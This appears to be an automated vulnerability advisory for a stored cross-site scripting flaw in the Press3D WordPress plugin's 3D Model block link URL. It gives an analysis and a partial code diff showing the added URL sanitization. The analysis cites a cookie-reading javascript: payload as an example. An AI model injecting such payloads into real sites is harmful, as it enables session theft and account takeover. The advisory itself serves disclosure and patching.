Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1985: Press3D <= 1.0.2 – Authenticated (Author+) Stored Cross-Site Scripting via Link URL Parameter in 3D Model Block (press3d)

CVE ID CVE-2026-1985
Plugin press3d
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0.2
Patched Version 1.1.0
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1985:
The Press3D WordPress plugin contains an authenticated stored cross-site scripting vulnerability in versions up to and including 1.0.2. This vulnerability affects the 3D Model Gutenberg block’s link URL parameter, allowing attackers with Author-level access or higher to inject malicious JavaScript payloads that execute when users click on the 3D model. The CVSS score of 6.4 reflects the moderate impact of this stored XSS vulnerability.

Atomic Edge research identified the root cause in the plugin’s failure to sanitize and validate URL schemes when storing link URLs for 3D model blocks. The vulnerability exists in the `sanitizePress3dData` function within `/press3d/src/Admin/Admin.php`. Before the patch, the plugin stored user-supplied `linkUrl` values directly without validation, allowing dangerous protocols like `javascript:` to persist in the database. The `register_post_meta` function at line 134-142 of the vulnerable version lacked a proper sanitization callback for the `_press3d_data` meta field.

Attackers exploit this vulnerability by creating or editing a 3D model block within the WordPress editor. They inject a malicious `javascript:` URL payload into the link URL parameter through the block’s settings interface. The payload could be something like `javascript:alert(document.cookie)` or more sophisticated scripts for session hijacking. When any user views the page containing the compromised 3D model block and clicks on the model, the malicious JavaScript executes in the victim’s browser context, potentially leading to session theft or further attacks.

The patch introduces a comprehensive sanitization callback in the `sanitizePress3dData` method at lines 162-202 of `/press3d/src/Admin/Admin.php`. This function now processes the JSON-encoded `_press3d_data` meta value, extracts all `linkUrl` fields from the versioned state array, and applies WordPress’s `esc_url_raw()` function with allowed protocols restricted to `[‘http’, ‘https’, ‘mailto’, ‘tel’]`. The patch also updates the `register_post_meta` call at line 158 to include this sanitization callback. Invalid URLs, including those with dangerous protocols, are either sanitized to empty strings or removed entirely, with associated `linkOpenInNewTab` settings cleared.

Successful exploitation allows authenticated attackers with Author privileges or higher to inject arbitrary JavaScript that executes in the context of any user who clicks the 3D model. This stored XSS can lead to session hijacking, account takeover, content modification, or redirection to malicious sites. Since the payload persists in the database, it affects all future visitors to the compromised page until removed. The attack requires Author-level access, limiting its impact compared to unauthenticated vulnerabilities, but still poses significant risk in multi-user WordPress environments.

Differential between vulnerable and patched code

Code Diff
--- a/press3d/assets/dist/admin.asset.php
+++ b/press3d/assets/dist/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-i18n'), 'version' => '00f336a04efb3d3f9848');
+<?php return array('dependencies' => array('wp-i18n'), 'version' => '5dd1b9130c49fd6e1b15');
--- a/press3d/assets/dist/blocks/block-1/index.asset.php
+++ b/press3d/assets/dist/blocks/block-1/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => 'c80c414892cd7ee8ca7c');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-element', 'wp-i18n', 'wp-primitives'), 'version' => '96dd4382d94f42d5f59a');
--- a/press3d/assets/dist/common.asset.php
+++ b/press3d/assets/dist/common.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '18c6744c82e5d283a16a');
+<?php return array('dependencies' => array(), 'version' => '6223f6e676876feea2ae');
--- a/press3d/press3d.php
+++ b/press3d/press3d.php
@@ -3,7 +3,7 @@
  * @wordpress-plugin
  * Plugin Name: Press3D
  * Description: Interactive 3D model viewer for WordPress. Display and embed 3D models (STL, OBJ, GLB, GLTF) with customizable controls, lighting, and camera settings.
- * Version: 1.0.2
+ * Version: 1.1.0
  * Requires at least: 6.6
  * Tested up to: 6.9
  * Requires PHP: 7.4
--- a/press3d/src/Admin/Admin.php
+++ b/press3d/src/Admin/Admin.php
@@ -4,7 +4,7 @@

 use AriesLabPress3dCfg;
 use AriesLabPress3dHelpers;
-use AriesLabPress3dAdminSettings;
+use AriesLabPress3dAdminSettingsSettings;

 class Admin
 {
@@ -37,10 +37,23 @@
         wp_enqueue_media(); // Always in admin before using wp.media
         $handle = Cfg::PLUGIN_NAME . '-admin';
         Helpers::wpEnqueueScript($handle, 'admin.js', ['media-views', 'wp-api-fetch']);
+
+        // Enable translations for admin scripts
+        wp_set_script_translations(
+            $handle,
+            'press3d',
+            Cfg::dirPath() . 'languages'
+        );

         $localized_data = [
             'version' => Cfg::PLUGIN_VERSION,
             'defaultColor' => Settings::getDefaultColor(),
+            'defaultWidthValue' => Settings::getDefaultWidthValue(),
+            'defaultWidthUnit' => Settings::getDefaultWidthUnit(),
+            'defaultHeightValue' => Settings::getDefaultHeightValue(),
+            'defaultHeightUnit' => Settings::getDefaultHeightUnit(),
+            'defaultZoom' => Settings::getDefaultZoom(),
+            'resetConfirmMessage' => __('Are you sure you want to reset all plugin settings to defaults?', 'press3d'),
         ];

         /**
@@ -122,7 +135,16 @@
     {
         $blocks = glob(Cfg::dirPath() . 'assets/dist/blocks/*/block.json');
         foreach ($blocks as $block_json) {
-            register_block_type(dirname($block_json));
+            $block = register_block_type(dirname($block_json));
+
+            // Enable translations for block editor scripts
+            if ($block && !empty($block->editor_script)) {
+                wp_set_script_translations(
+                    $block->editor_script,
+                    'press3d',
+                    Cfg::dirPath() . 'languages'
+                );
+            }
         }
     }

@@ -134,14 +156,54 @@
         register_post_meta('attachment', '_press3d_data', [
             'type' => 'string',
             'single' => true,
-            'show_in_rest' => true, // Expose in REST API
+            'show_in_rest' => true,
             'auth_callback' => function () {
                 return current_user_can('edit_posts');
-            }
+            },
+            'sanitize_callback' => [$this, 'sanitizePress3dData']
         ]);
     }

     /**
+     * Sanitizes _press3d_data before saving to database.
+     * Validates and sanitizes all linkUrl fields in the versioned state array.
+     * Prevents XSS attacks via javascript:, data:, vbscript: and other dangerous protocols.
+     *
+     * @param string $meta_value The meta value to sanitize
+     * @return string Sanitized meta value
+     */
+    public function sanitizePress3dData($meta_value)
+    {
+        if (empty($meta_value)) {
+            return '';
+        }
+
+        $decoded = json_decode($meta_value, true);
+        if (!is_array($decoded)) {
+            return '';
+        }
+
+        // Sanitize each versioned state
+        foreach ($decoded as &$item) {
+            if (isset($item['state']['linkUrl'])) {
+                // Use WordPress esc_url_raw to sanitize URL
+                // This will block javascript:, data:, vbscript: and other dangerous protocols
+                $sanitized = esc_url_raw($item['state']['linkUrl'], ['http', 'https', 'mailto', 'tel']);
+
+                // If URL is invalid, remove it
+                if (empty($sanitized) || $sanitized === 'http://') {
+                    $item['state']['linkUrl'] = '';
+                    $item['state']['linkOpenInNewTab'] = false;
+                } else {
+                    $item['state']['linkUrl'] = $sanitized;
+                }
+            }
+        }
+
+        return json_encode($decoded);
+    }
+
+    /**
      * Correction of the file MIME type check for 3D models.
      * WordPress may not correctly identify the MIME type of GLTF/GLB files,
      * so we manually validate them based on the extension.
--- a/press3d/src/Admin/Settings.php
+++ b/press3d/src/Admin/Settings.php
@@ -1,530 +0,0 @@
-<?php
-
-namespace AriesLabPress3dAdmin;
-
-class Settings
-{
-    /**
-     * The slug name of the page whose settings sections you want to output.
-     */
-    public const PAGE_SLUG = 'press3d-admin';
-
-    /**
-     * Setting constants
-     */
-    public const PRESS3D_OPTION_NAME = 'press3d_option';
-    public const PRESS3D_OPTIONS_GROUP = 'press3d_options_group';
-
-    /**
-     * Holds the values to be used in the fields callbacks
-     * @var array
-     */
-    protected $options;
-
-    /**
-     * Configuration for all settings sections and fields
-     *
-     * @return array
-     */
-    protected function getFieldsConfig(): array
-    {
-        return [
-            'appearance' => [
-                'id' => 'press3d_appearance_section',
-                'title' => __('Appearance Settings', 'press3d'),
-                'description' => __('Configure default appearance and behavior for your 3D models', 'press3d'),
-                'fields' => [
-                    'default_color' => [
-                        'title' => __('Default Model Color', 'press3d'),
-                        'type' => 'color',
-                        'default' => '',
-                        'description' => __('Set a default color for 3D models. Leave empty to preserve the model's original materials and textures.', 'press3d'),
-                    ],
-                    'loading_style' => [
-                        'title' => __('Loading Animation', 'press3d'),
-                        'type' => 'select',
-                        'default' => 'spinner',
-                        'options' => [
-                            'none' => __('None', 'press3d'),
-                            'spinner' => __('Spinner', 'press3d'),
-                            'progressbar' => __('Progress Bar', 'press3d'),
-                            'cube' => __('3D Cube', 'press3d'),
-                        ],
-                        'description' => __('Choose the animation style displayed while 3D models are loading.', 'press3d'),
-                    ],
-                ],
-            ],
-            'support' => [
-                'id' => 'press3d_support_section',
-                'title' => __('Support This Plugin', 'press3d'),
-                'callback' => [$this, 'renderSupportSection'],
-                'fields' => [],
-            ],
-            'about' => [
-                'id' => 'press3d_about_section',
-                'title' => __('About', 'press3d'),
-                'callback' => [$this, 'renderAboutSection'],
-                'fields' => [],
-            ],
-        ];
-    }
-
-    /**
-     * Render support section
-     */
-    public function renderSupportSection()
-    {
-        $pluginUrl = plugin_dir_url(dirname(__DIR__));
-        echo '<p>' . esc_html__('If you find this plugin helpful, consider supporting its development. Your contribution helps maintain and improve Press3D.', 'press3d') . '</p>';
-        echo '<a href="https://buymeacoffee.com/arieslab" target="_blank" rel="noopener noreferrer">
-            <img src="' . esc_url($pluginUrl . 'assets/dist/images/coffee-blue.png') . '" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" >
-            </a>';
-    }
-
-    /**
-     * Render about section
-     */
-    public function renderAboutSection()
-    {
-        $pluginUrl = plugin_dir_url(dirname(__DIR__));
-        ?>
-        <div class="press3d-about-logo">
-            <img src="<?php echo esc_url($pluginUrl . 'assets/dist/images/arieslab-logo.png'); ?>" alt="AriesLab">
-        </div>
-        <div class="press3d-about-content">
-            <p><?php echo wp_kses_post(__('Press3D is an independent project by <strong>AriesLab</strong>, bringing interactive 3D models to WordPress.', 'press3d')); ?></p>
-            <p><?php esc_html_e('Thank you for using Press3D! We hope it helps you create amazing 3D experiences on your WordPress site.', 'press3d'); ?></p>
-        </div>
-        <?php
-    }
-
-    /**
-     * Add submenu page to the Settings main menu.
-     */
-    public function addOptionsMenu()
-    {
-        add_options_page(
-            __('Press3D', 'press3d'),
-            __('Press3D', 'press3d'),
-            'manage_options',
-            self::PAGE_SLUG,
-            [$this, 'createAdminPage']
-        );
-    }
-
-    /**
-     * Register and add settings
-     */
-    public function pageOptionsInit()
-    {
-        register_setting(
-            self::PRESS3D_OPTIONS_GROUP,
-            self::PRESS3D_OPTION_NAME,
-            [$this, 'sanitize']
-        );
-
-        $config = $this->getFieldsConfig();
-
-        foreach ($config as $sectionKey => $section) {
-            // Register section
-            add_settings_section(
-                $section['id'],
-                $section['title'],
-                isset($section['callback']) ? $section['callback'] : function () use ($section) {
-                    if (!empty($section['description'])) {
-                        echo '<p>' . esc_html($section['description']) . '</p>';
-                    }
-                },
-                self::PAGE_SLUG . '_' . $sectionKey
-            );
-
-            // Register fields for this section
-            foreach ($section['fields'] as $fieldKey => $field) {
-                add_settings_field(
-                    $fieldKey,
-                    $field['title'],
-                    [$this, 'renderField'],
-                    self::PAGE_SLUG . '_' . $sectionKey,
-                    $section['id'],
-                    ['field_key' => $fieldKey, 'field_config' => $field]
-                );
-            }
-        }
-    }
-
-    /**
-     * Generic field renderer based on field type
-     *
-     * @param array $args
-     */
-    public function renderField(array $args)
-    {
-        $fieldKey = $args['field_key'];
-        $config = $args['field_config'];
-
-        $value = isset($this->options[$fieldKey])
-            ? esc_attr($this->options[$fieldKey])
-            : $config['default'];
-
-        $name = self::PRESS3D_OPTION_NAME . '[' . $fieldKey . ']';
-        $id = self::PRESS3D_OPTION_NAME . '_' . $fieldKey;
-        $width = $config['width'] ?? 'auto';
-
-        switch ($config['type']) {
-            case 'text':
-            case 'url':
-            case 'email':
-            case 'number':
-                $this->renderInputField($id, $name, $value, $config);
-                break;
-
-            case 'textarea':
-                $this->renderTextareaField($id, $name, $value, $config);
-                break;
-
-            case 'checkbox':
-                $this->renderCheckboxField($id, $name, $value, $config);
-                break;
-
-            case 'select':
-                $this->renderSelectField($id, $name, $value, $config);
-                break;
-
-            case 'color':
-                $this->renderColorField($id, $name, $value, $config);
-                break;
-
-            default:
-                echo '<p>Unknown field type: ' . esc_html($config['type']) . '</p>';
-        }
-
-        // Render description if provided
-        if (!empty($config['description'])) {
-            echo '<p class="description">' . esc_html($config['description']) . '</p>';
-        }
-    }
-
-    /**
-     * Render input field (text, url, email, number)
-     *
-     * @param string $id
-     * @param string $name
-     * @param string $value
-     * @param array $config
-     */
-    protected function renderInputField(string $id, string $name, string $value, array $config)
-    {
-        $type = $config['type'];
-        $width = $config['width'] ?? 'auto';
-
-        echo '<input type="' . esc_attr($type) . '" ';
-        echo 'id="' . esc_attr($id) . '" ';
-        echo 'name="' . esc_attr($name) . '" ';
-        echo 'value="' . esc_attr($value) . '" ';
-        echo 'style="width: ' . esc_attr($width) . ';" ';
-        echo '/>';
-
-        // Show validation error if applicable
-        if (!empty($config['validation'])) {
-            $errorMsg = $this->validateField($value, $config['validation']);
-            if ($errorMsg) {
-                echo wp_kses_post($this->createInputErrorMessage($errorMsg));
-            }
-        }
-    }
-
-    /**
-     * Render textarea field
-     *
-     * @param string $id
-     * @param string $name
-     * @param string $value
-     * @param array $config
-     */
-    protected function renderTextareaField(string $id, string $name, string $value, array $config)
-    {
-        $rows = $config['rows'] ?? 5;
-        $width = $config['width'] ?? '100%';
-
-        echo '<textarea ';
-        echo 'id="' . esc_attr($id) . '" ';
-        echo 'name="' . esc_attr($name) . '" ';
-        echo 'rows="' . esc_attr($rows) . '" ';
-        echo 'style="width: ' . esc_attr($width) . ';" ';
-        echo '>' . esc_textarea($value) . '</textarea>';
-    }
-
-    /**
-     * Render checkbox field
-     *
-     * @param string $id
-     * @param string $name
-     * @param string $value
-     * @param array $config
-     */
-    protected function renderCheckboxField(string $id, string $name, string $value, array $config)
-    {
-        $checked = !empty($value) ? 'checked' : '';
-
-        echo '<label for="' . esc_attr($id) . '">';
-        echo '<input type="checkbox" ';
-        echo 'id="' . esc_attr($id) . '" ';
-        echo 'name="' . esc_attr($name) . '" ';
-        echo 'value="1" ';
-        echo esc_attr($checked) . ' />';
-
-        if (!empty($config['label'])) {
-            echo ' ' . esc_html($config['label']);
-        }
-        echo '</label>';
-    }
-
-    /**
-     * Render select field
-     *
-     * @param string $id
-     * @param string $name
-     * @param string $value
-     * @param array $config
-     */
-    protected function renderSelectField(string $id, string $name, string $value, array $config)
-    {
-        $options = $config['options'] ?? [];
-        $width = $config['width'] ?? 'auto';
-
-        echo '<select ';
-        echo 'id="' . esc_attr($id) . '" ';
-        echo 'name="' . esc_attr($name) . '" ';
-        echo 'style="width: ' . esc_attr($width) . ';" ';
-        echo '>';
-
-        foreach ($options as $optionValue => $optionLabel) {
-            $selected = selected($value, $optionValue, false);
-            echo '<option value="' . esc_attr($optionValue) . '" ' . esc_attr($selected) . '>';
-            echo esc_html($optionLabel);
-            echo '</option>';
-        }
-
-        echo '</select>';
-    }
-
-    /**
-     * Render color picker field
-     *
-     * @param string $id
-     * @param string $name
-     * @param string $value
-     * @param array $config
-     */
-    protected function renderColorField(string $id, string $name, string $value, array $config)
-    {
-        echo '<input type="text" ';
-        echo 'id="' . esc_attr($id) . '" ';
-        echo 'name="' . esc_attr($name) . '" ';
-        echo 'value="' . esc_attr($value) . '" ';
-        echo 'class="press3d-color-picker" ';
-        echo 'data-default-color="" ';
-        echo '/>';
-    }
-
-    /**
-     * Validate field value
-     *
-     * @param string $value
-     * @param string $validationType
-     * @return string|null Error message or null if valid
-     */
-    protected function validateField(string $value, string $validationType): ?string
-    {
-        if (empty($value)) {
-            return null; // Empty values are allowed
-        }
-
-        switch ($validationType) {
-            case 'url':
-                if (!filter_var($value, FILTER_VALIDATE_URL)) {
-                    return __('Please enter a valid URL', 'press3d');
-                }
-                break;
-
-            case 'email':
-                if (!filter_var($value, FILTER_VALIDATE_EMAIL)) {
-                    return __('Please enter a valid email address', 'press3d');
-                }
-                break;
-
-            case 'number':
-                if (!is_numeric($value)) {
-                    return __('Please enter a valid number', 'press3d');
-                }
-                break;
-        }
-
-        return null;
-    }
-
-    /**
-     * Options page callback
-     */
-    public function createAdminPage()
-    {
-        // Set class property
-        $this->options = get_option(self::PRESS3D_OPTION_NAME);
-        $pluginUrl = plugin_dir_url(dirname(__DIR__));
-        ?>
-        <div class="wrap">
-            <h1 style="display: none;"><?php esc_html_e('Press3D', 'press3d'); ?></h1>
-
-            <div class="press3d-settings-wrapper">
-                <div class="press3d-settings-header">
-                    <img src="<?php echo esc_url($pluginUrl . 'assets/dist/images/press3d-logo.png'); ?>" alt="Press3D">
-                    <div class="press3d-settings-header-content">
-                        <h1><?php esc_html_e('Press3D Configuration', 'press3d'); ?></h1>
-                        <p><?php esc_html_e('Interactive 3D model viewer for WordPress', 'press3d'); ?></p>
-                    </div>
-                </div>
-
-                <form method="post" action="options.php">
-                <?php
-                // This prints out all hidden setting fields
-                settings_fields(self::PRESS3D_OPTIONS_GROUP);
-
-                // Render each section in a styled container
-                $config = $this->getFieldsConfig();
-                foreach ($config as $sectionKey => $section) {
-                    $sectionClass = 'press3d-settings-section';
-                    if ($sectionKey === 'support') {
-                        $sectionClass .= ' press3d-support-section';
-                    } elseif ($sectionKey === 'about') {
-                        $sectionClass .= ' press3d-about-section';
-                    }
-                    echo '<div class="' . esc_attr($sectionClass) . '">';
-                    do_settings_sections(self::PAGE_SLUG . '_' . $sectionKey);
-                    echo '</div>';
-                }
-
-                submit_button(__('Save Settings', 'press3d'));
-                ?>
-                </form>
-            </div>
-        </div>
-        <?php
-    }
-
-    /**
-     * Sanitize each setting field as needed
-     *
-     * @param array $input Contains all settings fields as array keys
-     *
-     * @return array
-     */
-    public function sanitize($input): array
-    {
-        $sanitizedInput = [];
-        $config = $this->getFieldsConfig();
-
-        // Iterate through all configured fields
-        foreach ($config as $section) {
-            foreach ($section['fields'] as $fieldKey => $fieldConfig) {
-                if (!isset($input[$fieldKey])) {
-                    // Handle checkboxes (unchecked = not in input)
-                    if ($fieldConfig['type'] === 'checkbox') {
-                        $sanitizedInput[$fieldKey] = '';
-                    }
-                    continue;
-                }
-
-                $value = $input[$fieldKey];
-
-                // Sanitize based on field type
-                switch ($fieldConfig['type']) {
-                    case 'url':
-                        $sanitizedInput[$fieldKey] = esc_url_raw($value);
-                        break;
-
-                    case 'email':
-                        $sanitizedInput[$fieldKey] = sanitize_email($value);
-                        break;
-
-                    case 'number':
-                        $sanitizedInput[$fieldKey] = is_numeric($value) ? $value : '';
-                        break;
-
-                    case 'textarea':
-                        $sanitizedInput[$fieldKey] = sanitize_textarea_field($value);
-                        break;
-
-                    case 'checkbox':
-                        $sanitizedInput[$fieldKey] = $value ? '1' : '';
-                        break;
-
-                    case 'color':
-                        // Validate hex color format or allow empty
-                        if (empty($value) || preg_match('/^#[a-f0-9]{6}$/i', $value)) {
-                            $sanitizedInput[$fieldKey] = sanitize_text_field($value);
-                        } else {
-                            $sanitizedInput[$fieldKey] = '';
-                        }
-                        break;
-
-                    case 'text':
-                    case 'select':
-                    default:
-                        $sanitizedInput[$fieldKey] = sanitize_text_field($value);
-                        break;
-                }
-            }
-        }
-
-        return $sanitizedInput;
-    }
-
-    /**
-     * Returns options by name. If not exists returns $default
-     *
-     * @param string $key
-     * @param mixed $default
-     *
-     * @return mixed
-     */
-    public static function getOption(string $key, $default = null)
-    {
-        if ($option = get_option(self::PRESS3D_OPTION_NAME)) {
-            return isset($option[$key]) ? $option[$key] : $default;
-        }
-
-        return $default;
-    }
-
-    /**
-     * Get default model color
-     *
-     * @return string|null Hex color string or null if not set
-     */
-    public static function getDefaultColor(): ?string
-    {
-        $color = self::getOption('default_color', '');
-        return !empty($color) ? $color : null;
-    }
-
-    /**
-     * Get loading animation style
-     *
-     * @return string
-     */
-    public static function getLoadingStyle(): string
-    {
-        return self::getOption('loading_style', 'spinner');
-    }
-
-    /**
-     * Returns Input error message
-     *
-     * @param string $message
-     * @return string
-     */
-    protected function createInputErrorMessage(string $message): string
-    {
-        return '<br /><span style="margin-left: 0.5rem; color: red;">' . esc_html($message) . '</span>';
-    }
-}
--- a/press3d/src/Admin/Settings/FieldConfig.php
+++ b/press3d/src/Admin/Settings/FieldConfig.php
@@ -0,0 +1,124 @@
+<?php
+
+namespace AriesLabPress3dAdminSettings;
+
+/**
+ * Field Configuration
+ *
+ * Provides configuration for all settings sections and fields
+ */
+class FieldConfig
+{
+    /**
+     * Get all sections configuration
+     *
+     * @return array
+     */
+    public static function getSections(): array
+    {
+        return [
+            'settings' => [
+                'id' => 'press3d_settings_section',
+                'title' => __('Settings', 'press3d'),
+                'description' => __('Configure default settings and behavior for your 3D models', 'press3d'),
+                'fields' => self::getSettingsFields(),
+            ],
+            'support' => [
+                'id' => 'press3d_support_section',
+                'title' => __('Support This Plugin', 'press3d'),
+                'callback' => null, // Will be set by Settings class
+                'fields' => [],
+            ],
+            'about' => [
+                'id' => 'press3d_about_section',
+                'title' => __('About', 'press3d'),
+                'callback' => null, // Will be set by Settings class
+                'fields' => [],
+            ],
+        ];
+    }
+
+    /**
+     * Get fields for a specific section
+     *
+     * @param string $section Section key
+     * @return array
+     */
+    public static function getFields(string $section): array
+    {
+        $sections = self::getSections();
+        return $sections[$section]['fields'] ?? [];
+    }
+
+    /**
+     * Get all fields from all sections
+     *
+     * @return array
+     */
+    public static function getAllFields(): array
+    {
+        $allFields = [];
+        foreach (self::getSections() as $section) {
+            $allFields = array_merge($allFields, $section['fields']);
+        }
+        return $allFields;
+    }
+
+    /**
+     * Get settings section fields
+     *
+     * @return array
+     */
+    protected static function getSettingsFields(): array
+    {
+        return [
+            'default_color' => [
+                'title' => __('Default Model Color', 'press3d'),
+                'type' => 'color',
+                'default' => '',
+                'description' => __('Set a default color for 3D models. Leave empty to preserve the model's original materials and textures.', 'press3d'),
+            ],
+
+            'default_zoom' => [
+                'title' => __('Default Zoom', 'press3d'),
+                'type' => 'number',
+                'default' => '0.7',
+                'description' => __('Default camera zoom level (e.g., 1.0, 1.5, 0.8).', 'press3d'),
+                'validation' => 'number',
+                'min' => '0.1',
+                'step' => '0.1',
+                'width' => '60px',
+            ],
+            'default_width' => [
+                'title' => __('Default Canvas Width', 'press3d'),
+                'type' => 'dimension',
+                'default_value' => '100',
+                'default_unit' => '%',
+                'description' => __('Default width for 3D model canvas.', 'press3d'),
+                'value_key' => 'default_width_value',
+                'unit_key' => 'default_width_unit',
+            ],
+            'default_height' => [
+                'title' => __('Default Canvas Height', 'press3d'),
+                'type' => 'dimension',
+                'default_value' => '300',
+                'default_unit' => 'px',
+                'description' => __('Default height for 3D model canvas.', 'press3d'),
+                'value_key' => 'default_height_value',
+                'unit_key' => 'default_height_unit',
+            ],
+            'loading_style' => [
+                'title' => __('Loading Animation', 'press3d'),
+                'type' => 'select',
+                'default' => 'spinner',
+                'options' => [
+                    'none' => __('None', 'press3d'),
+                    'spinner' => __('Spinner', 'press3d'),
+                    'progressbar' => __('Progress Bar', 'press3d'),
+                    'cube' => __('3D Cube', 'press3d'),
+                ],
+                'description' => __('Choose the animation style displayed while 3D models are loading.', 'press3d'),
+            ],
+        ];
+    }
+}
--- a/press3d/src/Admin/Settings/FieldRenderer.php
+++ b/press3d/src/Admin/Settings/FieldRenderer.php
@@ -0,0 +1,319 @@
+<?php
+
+namespace AriesLabPress3dAdminSettings;
+
+/**
+ * Field Renderer
+ *
+ * Handles rendering of all field types
+ */
+class FieldRenderer
+{
+    /** @var array Options from database */
+    protected $options;
+
+    /** @var string Option name constant */
+    protected $optionName;
+
+    /**
+     * Constructor
+     *
+     * @param array $options Current options from database
+     * @param string $optionName Option name for form fields
+     */
+    public function __construct(array $options, string $optionName)
+    {
+        $this->options = $options;
+        $this->optionName = $optionName;
+    }
+
+    /**
+     * Render a field based on its configuration
+     *
+     * @param array $args Field arguments
+     */
+    public function render(array $args): void
+    {
+        $fieldKey = $args['field_key'];
+        $config = $args['field_config'];
+
+        // Dimension fields don't have a 'default' key, so use null coalescing
+        $value = isset($this->options[$fieldKey])
+            ? esc_attr($this->options[$fieldKey])
+            : ($config['default'] ?? '');
+
+        $name = $this->optionName . '[' . $fieldKey . ']';
+        $id = $this->optionName . '_' . $fieldKey;
+
+        // Render based on type
+        switch ($config['type']) {
+            case 'text':
+            case 'url':
+            case 'email':
+            case 'number':
+                $this->renderInputField($id, $name, $value, $config);
+                break;
+
+            case 'textarea':
+                $this->renderTextareaField($id, $name, $value, $config);
+                break;
+
+            case 'checkbox':
+                $this->renderCheckboxField($id, $name, $value, $config);
+                break;
+
+            case 'select':
+                $this->renderSelectField($id, $name, $value, $config);
+                break;
+
+            case 'color':
+                $this->renderColorField($id, $name, $value, $config);
+                break;
+
+            case 'dimension':
+                $this->renderDimensionField($id, $name, $value, $config);
+                break;
+
+            default:
+                echo '<p>Unknown field type: ' . esc_html($config['type']) . '</p>';
+        }
+
+        // Render description if provided
+        if (!empty($config['description'])) {
+            echo '<p class="description">' . esc_html($config['description']) . '</p>';
+        }
+    }
+
+    /**
+     * Render input field (text, url, email, number)
+     *
+     * @param string $id
+     * @param string $name
+     * @param string $value
+     * @param array $config
+     */
+    protected function renderInputField(string $id, string $name, string $value, array $config): void
+    {
+        $type = $config['type'];
+        $width = $config['width'] ?? 'auto';
+
+        echo '<input type="' . esc_attr($type) . '" ';
+        echo 'id="' . esc_attr($id) . '" ';
+        echo 'name="' . esc_attr($name) . '" ';
+        echo 'value="' . esc_attr($value) . '" ';
+        echo 'style="width: ' . esc_attr($width) . ';" ';
+
+        // Add support for number attributes
+        if (isset($config['min'])) {
+            echo 'min="' . esc_attr($config['min']) . '" ';
+        }
+        if (isset($config['max'])) {
+            echo 'max="' . esc_attr($config['max']) . '" ';
+        }
+        if (isset($config['step'])) {
+            echo 'step="' . esc_attr($config['step']) . '" ';
+        }
+
+        echo '/>';
+
+        // Show validation error if applicable
+        if (!empty($config['validation'])) {
+            $errorMsg = $this->validateField($value, $config['validation']);
+            if ($errorMsg) {
+                echo wp_kses_post($this->createInputErrorMessage($errorMsg));
+            }
+        }
+    }
+
+    /**
+     * Render textarea field
+     *
+     * @param string $id
+     * @param string $name
+     * @param string $value
+     * @param array $config
+     */
+    protected function renderTextareaField(string $id, string $name, string $value, array $config): void
+    {
+        $rows = $config['rows'] ?? 5;
+        $width = $config['width'] ?? '100%';
+
+        echo '<textarea ';
+        echo 'id="' . esc_attr($id) . '" ';
+        echo 'name="' . esc_attr($name) . '" ';
+        echo 'rows="' . esc_attr($rows) . '" ';
+        echo 'style="width: ' . esc_attr($width) . ';" ';
+        echo '>' . esc_textarea($value) . '</textarea>';
+    }
+
+    /**
+     * Render checkbox field
+     *
+     * @param string $id
+     * @param string $name
+     * @param string $value
+     * @param array $config
+     */
+    protected function renderCheckboxField(string $id, string $name, string $value, array $config): void
+    {
+        $checked = !empty($value) ? 'checked' : '';
+
+        echo '<label for="' . esc_attr($id) . '">';
+        echo '<input type="checkbox" ';
+        echo 'id="' . esc_attr($id) . '" ';
+        echo 'name="' . esc_attr($name) . '" ';
+        echo 'value="1" ';
+        echo esc_attr($checked) . ' />';
+
+        if (!empty($config['label'])) {
+            echo ' ' . esc_html($config['label']);
+        }
+        echo '</label>';
+    }
+
+    /**
+     * Render select field
+     *
+     * @param string $id
+     * @param string $name
+     * @param string $value
+     * @param array $config
+     */
+    protected function renderSelectField(string $id, string $name, string $value, array $config): void
+    {
+        $options = $config['options'] ?? [];
+        $width = $config['width'] ?? 'auto';
+
+        echo '<select ';
+        echo 'id="' . esc_attr($id) . '" ';
+        echo 'name="' . esc_attr($name) . '" ';
+        echo 'style="width: ' . esc_attr($width) . ';" ';
+        echo '>';
+
+        foreach ($options as $optionValue => $optionLabel) {
+            $selected = selected($value, $optionValue, false);
+            echo '<option value="' . esc_attr($optionValue) . '" ' . esc_attr($selected) . '>';
+            echo esc_html($optionLabel);
+            echo '</option>';
+        }
+
+        echo '</select>';
+    }
+
+    /**
+     * Render color picker field
+     *
+     * @param string $id
+     * @param string $name
+     * @param string $value
+     * @param array $config
+     */
+    protected function renderColorField(string $id, string $name, string $value, array $config): void
+    {
+        echo '<input type="text" ';
+        echo 'id="' . esc_attr($id) . '" ';
+        echo 'name="' . esc_attr($name) . '" ';
+        echo 'value="' . esc_attr($value) . '" ';
+        echo 'class="press3d-color-picker" ';
+        echo 'data-default-color="" ';
+        echo '/>';
+    }
+
+    /**
+     * Render dimension field (value + unit)
+     *
+     * @param string $id
+     * @param string $name
+     * @param string $value
+     * @param array $config
+     */
+    protected function renderDimensionField(string $id, string $name, string $value, array $config): void
+    {
+        $valueKey = $config['value_key'];
+        $unitKey = $config['unit_key'];
+
+        $valueValue = isset($this->options[$valueKey]) ? esc_attr($this->options[$valueKey]) : $config['default_value'];
+        $unitValue = isset($this->options[$unitKey]) ? esc_attr($this->options[$unitKey]) : $config['default_unit'];
+
+        $valueId = $this->optionName . '_' . $valueKey;
+        $valueName = $this->optionName . '[' . $valueKey . ']';
+        $unitId = $this->optionName . '_' . $unitKey;
+        $unitName = $this->optionName . '[' . $unitKey . ']';
+
+        echo '<div class="press3d-dimension-field">';
+
+        // Value input
+        echo '<input type="number" ';
+        echo 'id="' . esc_attr($valueId) . '" ';
+        echo 'name="' . esc_attr($valueName) . '" ';
+        echo 'value="' . esc_attr($valueValue) . '" ';
+        echo 'min="0" step="1" ';
+        echo 'style="width: 100px;" ';
+        echo '/>';
+
+        // Unit select
+        echo '<select ';
+        echo 'id="' . esc_attr($unitId) . '" ';
+        echo 'name="' . esc_attr($unitName) . '" ';
+        echo 'style="width: 80px; margin-left: 10px;" ';
+        echo '>';
+
